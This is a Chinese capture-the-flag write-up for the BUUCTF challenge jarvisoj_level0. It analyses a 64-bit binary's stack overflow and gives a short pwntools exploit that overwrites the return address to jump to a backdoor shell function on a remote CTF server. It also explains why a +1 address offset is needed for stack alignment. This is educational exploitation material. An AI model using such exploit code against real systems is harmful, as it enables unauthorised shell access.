BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
f0rev3r12 小时前
NewStarCTF2025-WEEK2
网络安全
缘友一世12 小时前
深入理解Shell与反弹Shell:从原理到实战
linux·网络安全·shell
Whoami!14 小时前
⸢ 捌-Ⅰ⸥⤳ 可信纵深防御应用实践:0Day漏洞 & 钓鱼攻击
网络安全·信息安全·纵深防御·案例实践
white-persist14 小时前
CSRF 漏洞全解析:从原理到实战
网络·python·安全·web安全·网络安全·系统安全·csrf
北京耐用通信17 小时前
电力自动化新突破:Modbus如何变身Profinet?智能仪表连接的终极解决方案
人工智能·物联网·网络安全·自动化·信息与通信
汤愈韬18 小时前
NTFS权限基础、权限累加规则、权限继承规则
windows·网络安全
lingggggaaaa20 小时前
小迪安全v2023学习笔记(一百三十四讲)—— Windows权限提升篇&数据库篇&MySQL&MSSQL&Oracle&自动化项目
java·数据库·windows·笔记·学习·安全·网络安全
Bruce_Liuxiaowei1 天前
Win7虚拟机加入域错误排查指南:解决无法启动服务问题
运维·网络·windows·安全·网络安全
kali-Myon1 天前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
mjhcsp1 天前
博客安全攻防演练:从实战视角构建全方位防护体系
网络安全·博客